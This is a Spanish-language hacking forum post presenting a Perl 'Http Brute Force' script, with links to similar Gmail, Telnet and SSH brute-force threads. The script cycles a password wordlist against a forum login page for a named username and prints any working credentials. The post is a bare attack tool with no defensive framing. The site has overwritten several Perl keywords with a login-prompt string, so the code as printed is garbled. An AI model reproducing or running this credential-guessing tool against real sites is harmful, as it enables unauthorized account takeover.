comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Http Brute Force

  • 0 Respuestas
  • 1137 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado @ed33x

  • *
  • Underc0der
  • Mensajes: 107
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« en: Enero 27, 2011, 08:45:35 pm »
Código: Perl
  1. !/usr/bin/perl
  2.  
  3. use Carp;
  4.  
  5. use WWW::Mechanize;
  6.  
  7. #open pwlist
  8. No tienes permisos para ver links. Registrate o Entra con tu cuenta INPUT, "file.txt";
  9. my $pw = 0;
  10. @lines = <INPUT>;
  11. No tienes permisos para ver links. Registrate o Entra con tu cuenta INPUT;
  12.  
  13. my $webaddress = 'http://www.target.com/forums/login.php';
  14.  
  15. my $username = 'zondoz';
  16.  
  17. my $mech = WWW::Mechanize->new(
  18.  
  19.     cookie_jar      => {},
  20. );
  21.  
  22. login:
  23.  
  24. my $password = @lines[$pw];
  25.  
  26. my $response = $mech->get($webaddress);
  27.  
  28. if (!$response->is_success) {
  29.  
  30.     No tienes permisos para ver links. Registrate o Entra con tu cuenta "Login page unreachable $webaddress: ",  $response->status_line, "\n";
  31.  
  32. }
  33.  
  34.  
  35. # Login
  36.  
  37. $mech->field('username', $username);
  38.  
  39. $mech->field('password', $password);
  40.  
  41. my $response = $mech->click();
  42.  
  43. if ($response->is_success) {
  44.  
  45.     No tienes permisos para ver links. Registrate o Entra con tu cuenta checkpw;
  46.  
  47. } else {
  48.  
  49.     No tienes permisos para ver links. Registrate o Entra con tu cuenta "Login failed: ",  $response->status_line, "\n";
  50.  
  51. }
  52.  
  53. 1;
  54. checkpw:
  55. if($mech->content( No tienes permisos para ver links. Registrate o Entra con tu cuenta => 'text' ) =~ m/You last visited/i){
  56. No tienes permisos para ver links. Registrate o Entra con tu cuenta "++++++++++++++++++++\n";
  57. No tienes permisos para ver links. Registrate o Entra con tu cuenta "LOGIN SUCCESSFUL!\n";
  58. No tienes permisos para ver links. Registrate o Entra con tu cuenta "USERNAME: $username\n";
  59. No tienes permisos para ver links. Registrate o Entra con tu cuenta "PASSWORD: $password\n";
  60. No tienes permisos para ver links. Registrate o Entra con tu cuenta "++++++++++++++++++++\n";
  61. } else {
  62. No tienes permisos para ver links. Registrate o Entra con tu cuenta "trying $username:$password attempts:$pw\n";
  63. $pw ++;
  64. No tienes permisos para ver links. Registrate o Entra con tu cuenta login;
  65. }
« Última modificación: Marzo 14, 2015, 09:51:09 am por Expermicid »
Me cambie de messenger ahora es: edeex@live.comNo tienes permisos para ver links. Registrate o Entra con tu cuenta

 

¿Te gustó el post? COMPARTILO!



[Perl Tk] HTTP FingerPrinting 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 1395
Último mensaje Septiembre 13, 2013, 07:36:50 pm
por BigBear
Brute GMail [perl]

Iniciado por ProcessKill

Respuestas: 0
Vistas: 937
Último mensaje Febrero 24, 2010, 04:33:14 pm
por ProcessKill
Brute Telnet [PERL]

Iniciado por ProcessKill

Respuestas: 0
Vistas: 1082
Último mensaje Febrero 24, 2010, 04:33:36 pm
por ProcessKill
Brute SSH

Iniciado por ProcessKill

Respuestas: 0
Vistas: 1186
Último mensaje Febrero 24, 2010, 04:32:53 pm
por ProcessKill